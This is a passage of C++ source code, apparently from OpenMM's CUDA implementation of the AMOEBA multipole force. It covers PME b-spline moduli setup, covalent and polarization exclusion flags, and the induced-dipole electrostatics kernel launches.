pmeFinishSpreadChargeKernel = cu.getKernel(module, "finishSpreadCharge");
pmeConvolutionKernel = cu.getKernel(module, "reciprocalConvolution");
pmeFixedPotentialKernel = cu.getKernel(module, "computeFixedPotentialFromGrid");
pmeInducedPotentialKernel = cu.getKernel(module, "computeInducedPotentialFromGrid");
pmeFixedForceKernel = cu.getKernel(module, "computeFixedMultipoleForceAndEnergy");
pmeInducedForceKernel = cu.getKernel(module, "computeInducedDipoleForceAndEnergy");
pmeRecordInducedFieldDipolesKernel = cu.getKernel(module, "recordInducedFieldDipoles");
cuFuncSetCacheConfig(pmeSpreadFixedMultipolesKernel, CU_FUNC_CACHE_PREFER_L1);
cuFuncSetCacheConfig(pmeSpreadInducedDipolesKernel, CU_FUNC_CACHE_PREFER_L1);
cuFuncSetCacheConfig(pmeFixedPotentialKernel, CU_FUNC_CACHE_PREFER_L1);
cuFuncSetCacheConfig(pmeInducedPotentialKernel, CU_FUNC_CACHE_PREFER_L1);
// Create required data structures.
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
pmeGrid.initialize(cu, gridSizeX*gridSizeY*gridSizeZ, 2*elementSize, "pmeGrid");
cu.addAutoclearBuffer(pmeGrid);
pmeBsplineModuliX.initialize(cu, gridSizeX, elementSize, "pmeBsplineModuliX");
pmeBsplineModuliY.initialize(cu, gridSizeY, elementSize, "pmeBsplineModuliY");
pmeBsplineModuliZ.initialize(cu, gridSizeZ, elementSize, "pmeBsplineModuliZ");
pmePhi.initialize(cu, 20*numMultipoles, elementSize, "pmePhi");
pmePhid.initialize(cu, 10*numMultipoles, elementSize, "pmePhid");
pmePhip.initialize(cu, 10*numMultipoles, elementSize, "pmePhip");
pmePhidp.initialize(cu, 20*numMultipoles, elementSize, "pmePhidp");
pmeCphi.initialize(cu, 10*numMultipoles, elementSize, "pmeCphi");
cufftResult result = cufftPlan3d(&fft, gridSizeX, gridSizeY, gridSizeZ, cu.getUseDoublePrecision() ? CUFFT_Z2Z : CUFFT_C2C);
if (result != CUFFT_SUCCESS)
throw OpenMMException("Error initializing FFT: "+cu.intToString(result));
hasInitializedFFT = true;
// Initialize the b-spline moduli.
double data[PmeOrder];
double x = 0.0;
data[0] = 1.0 - x;
data[1] = x;
for (int i = 2; i < PmeOrder; i++) {
double denom = 1.0/i;
data[i] = x*data[i-1]*denom;
for (int j = 1; j < i; j++)
data[i-j] = ((x+j)*data[i-j-1] + ((i-j+1)-x)*data[i-j])*denom;
data[0] = (1.0-x)*data[0]*denom;
}
int maxSize = max(max(gridSizeX, gridSizeY), gridSizeZ);
vector<double> bsplines_data(maxSize+1, 0.0);
for (int i = 2; i <= PmeOrder+1; i++)
bsplines_data[i] = data[i-2];
for (int dim = 0; dim < 3; dim++) {
int ndata = (dim == 0 ? gridSizeX : dim == 1 ? gridSizeY : gridSizeZ);
vector<double> moduli(ndata);
// get the modulus of the discrete Fourier transform
double factor = 2.0*M_PI/ndata;
for (int i = 0; i < ndata; i++) {
double sc = 0.0;
double ss = 0.0;
for (int j = 1; j <= ndata; j++) {
double arg = factor*i*(j-1);
sc += bsplines_data[j]*cos(arg);
ss += bsplines_data[j]*sin(arg);
}
moduli[i] = sc*sc+ss*ss;
}
// Fix for exponential Euler spline interpolation failure.
double eps = 1.0e-7;
if (moduli[0] < eps)
moduli[0] = 0.9*moduli[1];
for (int i = 1; i < ndata-1; i++)
if (moduli[i] < eps)
moduli[i] = 0.9*(moduli[i-1]+moduli[i+1]);
if (moduli[ndata-1] < eps)
moduli[ndata-1] = 0.9*moduli[ndata-2];
// Compute and apply the optimal zeta coefficient.
int jcut = 50;
for (int i = 1; i <= ndata; i++) {
int k = i - 1;
if (i > ndata/2)
k = k - ndata;
double zeta;
if (k == 0)
zeta = 1.0;
else {
double sum1 = 1.0;
double sum2 = 1.0;
factor = M_PI*k/ndata;
for (int j = 1; j <= jcut; j++) {
double arg = factor/(factor+M_PI*j);
sum1 += pow(arg, PmeOrder);
sum2 += pow(arg, 2*PmeOrder);
}
for (int j = 1; j <= jcut; j++) {
double arg = factor/(factor-M_PI*j);
sum1 += pow(arg, PmeOrder);
sum2 += pow(arg, 2*PmeOrder);
}
zeta = sum2/sum1;
}
moduli[i-1] = moduli[i-1]*zeta*zeta;
}
if (cu.getUseDoublePrecision()) {
if (dim == 0)
pmeBsplineModuliX.upload(moduli);
else if (dim == 1)
pmeBsplineModuliY.upload(moduli);
else
pmeBsplineModuliZ.upload(moduli);
}
else {
vector<float> modulif(ndata);
for (int i = 0; i < ndata; i++)
modulif[i] = (float) moduli[i];
if (dim == 0)
pmeBsplineModuliX.upload(modulif);
else if (dim == 1)
pmeBsplineModuliY.upload(modulif);
else
pmeBsplineModuliZ.upload(modulif);
}
}
}
// Add an interaction to the default nonbonded kernel. This doesn't actually do any calculations. It's
// just so that CudaNonbondedUtilities will build the exclusion flags and maintain the neighbor list.
cu.getNonbondedUtilities().addInteraction(usePME, usePME, true, force.getCutoffDistance(), exclusions, "", force.getForceGroup());
cu.getNonbondedUtilities().setUsePadding(false);
cu.addForce(new ForceInfo(force));
}
void CudaCalcAmoebaMultipoleForceKernel::initializeScaleFactors() {
hasInitializedScaleFactors = true;
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
// Figure out the covalent flag values to use for each atom pair.
vector<ushort2> exclusionTiles;
nb.getExclusionTiles().download(exclusionTiles);
map<pair<int, int>, int> exclusionTileMap;
for (int i = 0; i < (int) exclusionTiles.size(); i++) {
ushort2 tile = exclusionTiles[i];
exclusionTileMap[make_pair(tile.x, tile.y)] = i;
}
covalentFlags.initialize<uint2>(cu, nb.getExclusions().getSize(), "covalentFlags");
vector<uint2> covalentFlagsVec(nb.getExclusions().getSize(), make_uint2(0, 0));
for (int3 values : covalentFlagValues) {
int atom1 = values.x;
int atom2 = values.y;
int value = values.z;
int x = atom1/CudaContext::TileSize;
int offset1 = atom1-x*CudaContext::TileSize;
int y = atom2/CudaContext::TileSize;
int offset2 = atom2-y*CudaContext::TileSize;
int f1 = (value == 0 || value == 1 ? 1 : 0);
int f2 = (value == 0 || value == 2 ? 1 : 0);
if (x == y) {
int index = exclusionTileMap[make_pair(x, y)]*CudaContext::TileSize;
covalentFlagsVec[index+offset1].x |= f1<<offset2;
covalentFlagsVec[index+offset1].y |= f2<<offset2;
covalentFlagsVec[index+offset2].x |= f1<<offset1;
covalentFlagsVec[index+offset2].y |= f2<<offset1;
}
else if (x > y) {
int index = exclusionTileMap[make_pair(x, y)]*CudaContext::TileSize;
covalentFlagsVec[index+offset1].x |= f1<<offset2;
covalentFlagsVec[index+offset1].y |= f2<<offset2;
}
else {
int index = exclusionTileMap[make_pair(y, x)]*CudaContext::TileSize;
covalentFlagsVec[index+offset2].x |= f1<<offset1;
covalentFlagsVec[index+offset2].y |= f2<<offset1;
}
}
covalentFlags.upload(covalentFlagsVec);
// Do the same for the polarization flags.
polarizationGroupFlags.initialize<unsigned int>(cu, nb.getExclusions().getSize(), "polarizationGroupFlags");
vector<unsigned int> polarizationGroupFlagsVec(nb.getExclusions().getSize(), 0);
for (int2 values : polarizationFlagValues) {
int atom1 = values.x;
int atom2 = values.y;
int x = atom1/CudaContext::TileSize;
int offset1 = atom1-x*CudaContext::TileSize;
int y = atom2/CudaContext::TileSize;
int offset2 = atom2-y*CudaContext::TileSize;
if (x == y) {
int index = exclusionTileMap[make_pair(x, y)]*CudaContext::TileSize;
polarizationGroupFlagsVec[index+offset1] |= 1<<offset2;
polarizationGroupFlagsVec[index+offset2] |= 1<<offset1;
}
else if (x > y) {
int index = exclusionTileMap[make_pair(x, y)]*CudaContext::TileSize;
polarizationGroupFlagsVec[index+offset1] |= 1<<offset2;
}
else {
int index = exclusionTileMap[make_pair(y, x)]*CudaContext::TileSize;
polarizationGroupFlagsVec[index+offset2] |= 1<<offset1;
}
}
polarizationGroupFlags.upload(polarizationGroupFlagsVec);
}
double CudaCalcAmoebaMultipoleForceKernel::execute(ContextImpl& context, bool includeForces, bool includeEnergy) {
if (!hasInitializedScaleFactors) {
initializeScaleFactors();
for (auto impl : context.getForceImpls()) {
AmoebaGeneralizedKirkwoodForceImpl* gkImpl = dynamic_cast<AmoebaGeneralizedKirkwoodForceImpl*>(impl);
if (gkImpl != NULL) {
gkKernel = dynamic_cast<CudaCalcAmoebaGeneralizedKirkwoodForceKernel*>(&gkImpl->getKernel().getImpl());
break;
}
}
}
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
// Compute the lab frame moments.
void* computeMomentsArgs[] = {&cu.getPosq().getDevicePointer(), &multipoleParticles.getDevicePointer(),
&molecularDipoles.getDevicePointer(), &molecularQuadrupoles.getDevicePointer(),
&labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(),
&sphericalDipoles.getDevicePointer(), &sphericalQuadrupoles.getDevicePointer()};
cu.executeKernel(computeMomentsKernel, computeMomentsArgs, cu.getNumAtoms());
int startTileIndex = nb.getStartTileIndex();
int numTileIndices = nb.getNumTiles();
int numForceThreadBlocks = nb.getNumForceThreadBlocks();
int elementSize = (cu.getUseDoublePrecision() ? sizeof(double) : sizeof(float));
if (!pmeGrid.isInitialized()) {
// Compute induced dipoles.
if (gkKernel == NULL) {
void* computeFixedFieldArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(), &cu.getPosq().getDevicePointer(),
&covalentFlags.getDevicePointer(), &polarizationGroupFlags.getDevicePointer(), &nb.getExclusionTiles().getDevicePointer(), &startTileIndex, &numTileIndices,
&labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(), &dampingAndThole.getDevicePointer()};
cu.executeKernel(computeFixedFieldKernel, computeFixedFieldArgs, numForceThreadBlocks*fixedFieldThreads, fixedFieldThreads);
void* recordInducedDipolesArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(),
&inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(recordInducedDipolesKernel, recordInducedDipolesArgs, cu.getNumAtoms());
}
else {
gkKernel->computeBornRadii();
void* computeFixedFieldArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(), &cu.getPosq().getDevicePointer(),
&covalentFlags.getDevicePointer(), &polarizationGroupFlags.getDevicePointer(), &nb.getExclusionTiles().getDevicePointer(), &startTileIndex, &numTileIndices,
&gkKernel->getBornRadii().getDevicePointer(), &gkKernel->getField().getDevicePointer(),
&labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(), &dampingAndThole.getDevicePointer()};
cu.executeKernel(computeFixedFieldKernel, computeFixedFieldArgs, numForceThreadBlocks*fixedFieldThreads, fixedFieldThreads);
void* recordInducedDipolesArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(),
&gkKernel->getField().getDevicePointer(), &gkKernel->getInducedDipoles().getDevicePointer(),
&gkKernel->getInducedDipolesPolar().getDevicePointer(), &inducedDipole.getDevicePointer(),
&inducedDipolePolar.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(recordInducedDipolesKernel, recordInducedDipolesArgs, cu.getNumAtoms());
}
// Iterate until the dipoles converge.
if (polarizationType == AmoebaMultipoleForce::Extrapolated)
computeExtrapolatedDipoles(NULL);
for (int i = 0; i < maxInducedIterations; i++) {
computeInducedField(NULL);
bool converged = iterateDipolesByDIIS(i);
if (converged)
break;
}
// Compute electrostatic force.
void* electrostaticsArgs[] = {&cu.getForce().getDevicePointer(), &torque.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&cu.getPosq().getDevicePointer(), &covalentFlags.getDevicePointer(), &polarizationGroupFlags.getDevicePointer(),
&nb.getExclusionTiles().getDevicePointer(), &startTileIndex, &numTileIndices,
&sphericalDipoles.getDevicePointer(), &sphericalQuadrupoles.getDevicePointer(),
&inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(), &dampingAndThole.getDevicePointer()};
cu.executeKernel(electrostaticsKernel, electrostaticsArgs, numForceThreadBlocks*electrostaticsThreads, electrostaticsThreads);
if (gkKernel != NULL)
gkKernel->finishComputation(torque, labFrameDipoles, labFrameQuadrupoles, inducedDipole, inducedDipolePolar, dampingAndThole, covalentFlags, polarizationGroupFlags);
}
else {
// Compute reciprocal box vectors.
Vec3 boxVectors[3];
cu.getPeriodicBoxVectors(boxVectors[0], boxVectors[1], boxVectors[2]);
double determinant = boxVectors[0][0]*boxVectors[1][1]*boxVectors[2][2];
double scale = 1.0/determinant;
double3 recipBoxVectors[3];
recipBoxVectors[0] = make_double3(boxVectors[1][1]*boxVectors[2][2]*scale, 0, 0);
recipBoxVectors[1] = make_double3(-boxVectors[1][0]*boxVectors[2][2]*scale, boxVectors[0][0]*boxVectors[2][2]*scale, 0);
recipBoxVectors[2] = make_double3((boxVectors[1][0]*boxVectors[2][1]-boxVectors[1][1]*boxVectors[2][0])*scale, -boxVectors[0][0]*boxVectors[2][1]*scale, boxVectors[0][0]*boxVectors[1][1]*scale);
float3 recipBoxVectorsFloat[3];
void* recipBoxVectorPointer[3];
if (cu.getUseDoublePrecision()) {
recipBoxVectorPointer[0] = &recipBoxVectors[0];
recipBoxVectorPointer[1] = &recipBoxVectors[1];
recipBoxVectorPointer[2] = &recipBoxVectors[2];
}
else {
recipBoxVectorsFloat[0] = make_float3((float) recipBoxVectors[0].x, 0, 0);
recipBoxVectorsFloat[1] = make_float3((float) recipBoxVectors[1].x, (float) recipBoxVectors[1].y, 0);
recipBoxVectorsFloat[2] = make_float3((float) recipBoxVectors[2].x, (float) recipBoxVectors[2].y, (float) recipBoxVectors[2].z);
recipBoxVectorPointer[0] = &recipBoxVectorsFloat[0];
recipBoxVectorPointer[1] = &recipBoxVectorsFloat[1];
recipBoxVectorPointer[2] = &recipBoxVectorsFloat[2];
}
// Reciprocal space calculation.
unsigned int maxTiles = nb.getInteractingTiles().getSize();
void* pmeTransformMultipolesArgs[] = {&labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(),
&fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeTransformMultipolesKernel, pmeTransformMultipolesArgs, cu.getNumAtoms());
void* pmeSpreadFixedMultipolesArgs[] = {&cu.getPosq().getDevicePointer(), &fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(),
&pmeGrid.getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeSpreadFixedMultipolesKernel, pmeSpreadFixedMultipolesArgs, cu.getNumAtoms());
void* finishSpreadArgs[] = {&pmeGrid.getDevicePointer()};
if (cu.getUseDoublePrecision()) {
cu.executeKernel(pmeFinishSpreadChargeKernel, finishSpreadArgs, pmeGrid.getSize());
cufftExecZ2Z(fft, (double2*) pmeGrid.getDevicePointer(), (double2*) pmeGrid.getDevicePointer(), CUFFT_FORWARD);
}
else
cufftExecC2C(fft, (float2*) pmeGrid.getDevicePointer(), (float2*) pmeGrid.getDevicePointer(), CUFFT_FORWARD);
void* pmeConvolutionArgs[] = {&pmeGrid.getDevicePointer(), &pmeBsplineModuliX.getDevicePointer(), &pmeBsplineModuliY.getDevicePointer(),
&pmeBsplineModuliZ.getDevicePointer(), cu.getPeriodicBoxSizePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeConvolutionKernel, pmeConvolutionArgs, gridSizeX*gridSizeY*gridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecZ2Z(fft, (double2*) pmeGrid.getDevicePointer(), (double2*) pmeGrid.getDevicePointer(), CUFFT_INVERSE);
else
cufftExecC2C(fft, (float2*) pmeGrid.getDevicePointer(), (float2*) pmeGrid.getDevicePointer(), CUFFT_INVERSE);
void* pmeFixedPotentialArgs[] = {&pmeGrid.getDevicePointer(), &pmePhi.getDevicePointer(), &field.getDevicePointer(),
&fieldPolar .getDevicePointer(), &cu.getPosq().getDevicePointer(), &labFrameDipoles.getDevicePointer(),
cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeFixedPotentialKernel, pmeFixedPotentialArgs, cu.getNumAtoms());
void* pmeTransformFixedPotentialArgs[] = {&pmePhi.getDevicePointer(), &pmeCphi.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeTransformPotentialKernel, pmeTransformFixedPotentialArgs, cu.getNumAtoms());
void* pmeFixedForceArgs[] = {&cu.getPosq().getDevicePointer(), &cu.getForce().getDevicePointer(), &torque.getDevicePointer(),
&cu.getEnergyBuffer().getDevicePointer(), &labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(),
&fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(), &pmePhi.getDevicePointer(), &pmeCphi.getDevicePointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeFixedForceKernel, pmeFixedForceArgs, cu.getNumAtoms());
// Direct space calculation.
void* computeFixedFieldArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(), &cu.getPosq().getDevicePointer(),
&covalentFlags.getDevicePointer(), &polarizationGroupFlags.getDevicePointer(), &nb.getExclusionTiles().getDevicePointer(), &startTileIndex, &numTileIndices,
&nb.getInteractingTiles().getDevicePointer(), &nb.getInteractionCount().getDevicePointer(), cu.getPeriodicBoxSizePointer(),
cu.getInvPeriodicBoxSizePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
&maxTiles, &nb.getBlockCenters().getDevicePointer(), &nb.getInteractingAtoms().getDevicePointer(),
&labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(), &dampingAndThole.getDevicePointer()};
cu.executeKernel(computeFixedFieldKernel, computeFixedFieldArgs, numForceThreadBlocks*fixedFieldThreads, fixedFieldThreads);
void* recordInducedDipolesArgs[] = {&field.getDevicePointer(), &fieldPolar.getDevicePointer(),
&inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(), &polarizability.getDevicePointer()};
cu.executeKernel(recordInducedDipolesKernel, recordInducedDipolesArgs, cu.getNumAtoms());
// Reciprocal space calculation for the induced dipoles.
cu.clearBuffer(pmeGrid);
void* pmeSpreadInducedDipolesArgs[] = {&cu.getPosq().getDevicePointer(), &inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&pmeGrid.getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeSpreadInducedDipolesKernel, pmeSpreadInducedDipolesArgs, cu.getNumAtoms());
if (cu.getUseDoublePrecision()) {
cu.executeKernel(pmeFinishSpreadChargeKernel, finishSpreadArgs, pmeGrid.getSize());
cufftExecZ2Z(fft, (double2*) pmeGrid.getDevicePointer(), (double2*) pmeGrid.getDevicePointer(), CUFFT_FORWARD);
}
else
cufftExecC2C(fft, (float2*) pmeGrid.getDevicePointer(), (float2*) pmeGrid.getDevicePointer(), CUFFT_FORWARD);
cu.executeKernel(pmeConvolutionKernel, pmeConvolutionArgs, gridSizeX*gridSizeY*gridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecZ2Z(fft, (double2*) pmeGrid.getDevicePointer(), (double2*) pmeGrid.getDevicePointer(), CUFFT_INVERSE);
else
cufftExecC2C(fft, (float2*) pmeGrid.getDevicePointer(), (float2*) pmeGrid.getDevicePointer(), CUFFT_INVERSE);
void* pmeInducedPotentialArgs[] = {&pmeGrid.getDevicePointer(), &pmePhid.getDevicePointer(), &pmePhip.getDevicePointer(),
&pmePhidp.getDevicePointer(), &cu.getPosq().getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(),
cu.getPeriodicBoxVecZPointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeInducedPotentialKernel, pmeInducedPotentialArgs, cu.getNumAtoms());
// Iterate until the dipoles converge.
if (polarizationType == AmoebaMultipoleForce::Extrapolated)
computeExtrapolatedDipoles(recipBoxVectorPointer);
for (int i = 0; i < maxInducedIterations; i++) {
computeInducedField(recipBoxVectorPointer);
bool converged = iterateDipolesByDIIS(i);
if (converged)
break;
}
// Compute electrostatic force.
void* electrostaticsArgs[] = {&cu.getForce().getDevicePointer(), &torque.getDevicePointer(), &cu.getEnergyBuffer().getDevicePointer(),
&cu.getPosq().getDevicePointer(), &covalentFlags.getDevicePointer(), &polarizationGroupFlags.getDevicePointer(),
&nb.getExclusionTiles().getDevicePointer(), &startTileIndex, &numTileIndices,
&nb.getInteractingTiles().getDevicePointer(), &nb.getInteractionCount().getDevicePointer(),
cu.getPeriodicBoxSizePointer(), cu.getInvPeriodicBoxSizePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
&maxTiles, &nb.getBlockCenters().getDevicePointer(), &nb.getInteractingAtoms().getDevicePointer(),
&sphericalDipoles.getDevicePointer(), &sphericalQuadrupoles.getDevicePointer(),
&inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(), &dampingAndThole.getDevicePointer()};
cu.executeKernel(electrostaticsKernel, electrostaticsArgs, numForceThreadBlocks*electrostaticsThreads, electrostaticsThreads);
void* pmeTransformInducedPotentialArgs[] = {&pmePhidp.getDevicePointer(), &pmeCphi.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeTransformPotentialKernel, pmeTransformInducedPotentialArgs, cu.getNumAtoms());
void* pmeInducedForceArgs[] = {&cu.getPosq().getDevicePointer(), &cu.getForce().getDevicePointer(), &torque.getDevicePointer(),
&cu.getEnergyBuffer().getDevicePointer(), &labFrameDipoles.getDevicePointer(), &labFrameQuadrupoles.getDevicePointer(),
&fracDipoles.getDevicePointer(), &fracQuadrupoles.getDevicePointer(),
&inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(), &pmePhi.getDevicePointer(), &pmePhid.getDevicePointer(),
&pmePhip.getDevicePointer(), &pmePhidp.getDevicePointer(), &pmeCphi.getDevicePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeInducedForceKernel, pmeInducedForceArgs, cu.getNumAtoms());
}
// If using extrapolated polarization, add in force contributions from µ(m) T µ(n).
if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
if (gkKernel == NULL) {
void* extrapolatedArgs[] = {&cu.getForce().getDevicePointer(), &extrapolatedDipole.getDevicePointer(),
&extrapolatedDipolePolar.getDevicePointer(), &extrapolatedDipoleFieldGradient.getDevicePointer(), &extrapolatedDipoleFieldGradientPolar.getDevicePointer()};
cu.executeKernel(addExtrapolatedGradientKernel, extrapolatedArgs, numMultipoles);
}
else {
void* extrapolatedArgs[] = {&cu.getForce().getDevicePointer(), &extrapolatedDipole.getDevicePointer(),
&extrapolatedDipolePolar.getDevicePointer(), &extrapolatedDipoleFieldGradient.getDevicePointer(), &extrapolatedDipoleFieldGradientPolar.getDevicePointer(),
&extrapolatedDipoleGk.getDevicePointer(), &extrapolatedDipoleGkPolar.getDevicePointer(),
&extrapolatedDipoleFieldGradientGk.getDevicePointer(), &extrapolatedDipoleFieldGradientGkPolar.getDevicePointer()};
cu.executeKernel(addExtrapolatedGradientKernel, extrapolatedArgs, numMultipoles);
}
}
// Map torques to force.
void* mapTorqueArgs[] = {&cu.getForce().getDevicePointer(), &torque.getDevicePointer(),
&cu.getPosq().getDevicePointer(), &multipoleParticles.getDevicePointer()};
cu.executeKernel(mapTorqueKernel, mapTorqueArgs, cu.getNumAtoms());
// Record the current atom positions so we can tell later if they have changed.
cu.getPosq().copyTo(lastPositions);
multipolesAreValid = true;
return 0.0;
}
void CudaCalcAmoebaMultipoleForceKernel::computeInducedField(void** recipBoxVectorPointer) {
CudaNonbondedUtilities& nb = cu.getNonbondedUtilities();
int startTileIndex = nb.getStartTileIndex();
int numTileIndices = nb.getNumTiles();
int numForceThreadBlocks = nb.getNumForceThreadBlocks();
unsigned int maxTiles = 0;
vector<void*> computeInducedFieldArgs;
computeInducedFieldArgs.push_back(&inducedField.getDevicePointer());
computeInducedFieldArgs.push_back(&inducedFieldPolar.getDevicePointer());
computeInducedFieldArgs.push_back(&cu.getPosq().getDevicePointer());
computeInducedFieldArgs.push_back(&nb.getExclusionTiles().getDevicePointer());
computeInducedFieldArgs.push_back(&inducedDipole.getDevicePointer());
computeInducedFieldArgs.push_back(&inducedDipolePolar.getDevicePointer());
computeInducedFieldArgs.push_back(&startTileIndex);
computeInducedFieldArgs.push_back(&numTileIndices);
if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
computeInducedFieldArgs.push_back(&inducedDipoleFieldGradient.getDevicePointer());
computeInducedFieldArgs.push_back(&inducedDipoleFieldGradientPolar.getDevicePointer());
}
if (pmeGrid.isInitialized()) {
computeInducedFieldArgs.push_back(&nb.getInteractingTiles().getDevicePointer());
computeInducedFieldArgs.push_back(&nb.getInteractionCount().getDevicePointer());
computeInducedFieldArgs.push_back(cu.getPeriodicBoxSizePointer());
computeInducedFieldArgs.push_back(cu.getInvPeriodicBoxSizePointer());
computeInducedFieldArgs.push_back(cu.getPeriodicBoxVecXPointer());
computeInducedFieldArgs.push_back(cu.getPeriodicBoxVecYPointer());
computeInducedFieldArgs.push_back(cu.getPeriodicBoxVecZPointer());
computeInducedFieldArgs.push_back(&maxTiles);
computeInducedFieldArgs.push_back(&nb.getBlockCenters().getDevicePointer());
computeInducedFieldArgs.push_back(&nb.getInteractingAtoms().getDevicePointer());
}
if (gkKernel != NULL) {
computeInducedFieldArgs.push_back(&gkKernel->getInducedField().getDevicePointer());
computeInducedFieldArgs.push_back(&gkKernel->getInducedFieldPolar().getDevicePointer());
computeInducedFieldArgs.push_back(&gkKernel->getInducedDipoles().getDevicePointer());
computeInducedFieldArgs.push_back(&gkKernel->getInducedDipolesPolar().getDevicePointer());
computeInducedFieldArgs.push_back(&gkKernel->getBornRadii().getDevicePointer());
if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
computeInducedFieldArgs.push_back(&inducedDipoleFieldGradientGk.getDevicePointer());
computeInducedFieldArgs.push_back(&inducedDipoleFieldGradientGkPolar.getDevicePointer());
}
}
computeInducedFieldArgs.push_back(&dampingAndThole.getDevicePointer());
cu.clearBuffer(inducedField);
cu.clearBuffer(inducedFieldPolar);
if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
cu.clearBuffer(inducedDipoleFieldGradient);
cu.clearBuffer(inducedDipoleFieldGradientPolar);
}
if (gkKernel != NULL) {
cu.clearBuffer(gkKernel->getInducedField());
cu.clearBuffer(gkKernel->getInducedFieldPolar());
if (polarizationType == AmoebaMultipoleForce::Extrapolated) {
cu.clearBuffer(inducedDipoleFieldGradientGk);
cu.clearBuffer(inducedDipoleFieldGradientGkPolar);
}
}
if (!pmeGrid.isInitialized())
cu.executeKernel(computeInducedFieldKernel, &computeInducedFieldArgs[0], numForceThreadBlocks*inducedFieldThreads, inducedFieldThreads);
else {
maxTiles = nb.getInteractingTiles().getSize();
cu.executeKernel(computeInducedFieldKernel, &computeInducedFieldArgs[0], numForceThreadBlocks*inducedFieldThreads, inducedFieldThreads);
cu.clearBuffer(pmeGrid);
void* pmeSpreadInducedDipolesArgs[] = {&cu.getPosq().getDevicePointer(), &inducedDipole.getDevicePointer(), &inducedDipolePolar.getDevicePointer(),
&pmeGrid.getDevicePointer(), cu.getPeriodicBoxVecXPointer(), cu.getPeriodicBoxVecYPointer(), cu.getPeriodicBoxVecZPointer(),
recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeSpreadInducedDipolesKernel, pmeSpreadInducedDipolesArgs, cu.getNumAtoms());
if (cu.getUseDoublePrecision()) {
void* finishSpreadArgs[] = {&pmeGrid.getDevicePointer()};
cu.executeKernel(pmeFinishSpreadChargeKernel, finishSpreadArgs, pmeGrid.getSize());
cufftExecZ2Z(fft, (double2*) pmeGrid.getDevicePointer(), (double2*) pmeGrid.getDevicePointer(), CUFFT_FORWARD);
}
else
cufftExecC2C(fft, (float2*) pmeGrid.getDevicePointer(), (float2*) pmeGrid.getDevicePointer(), CUFFT_FORWARD);
void* pmeConvolutionArgs[] = {&pmeGrid.getDevicePointer(), &pmeBsplineModuliX.getDevicePointer(), &pmeBsplineModuliY.getDevicePointer(),
&pmeBsplineModuliZ.getDevicePointer(), cu.getPeriodicBoxSizePointer(), recipBoxVectorPointer[0], recipBoxVectorPointer[1], recipBoxVectorPointer[2]};
cu.executeKernel(pmeConvolutionKernel, pmeConvolutionArgs, gridSizeX*gridSizeY*gridSizeZ, 256);
if (cu.getUseDoublePrecision())
cufftExecZ2Z(fft, (double2*) pmeGrid.getDevicePointer(), (double2*) pmeGrid.getDevicePointer(), CUFFT_INVERSE);
else
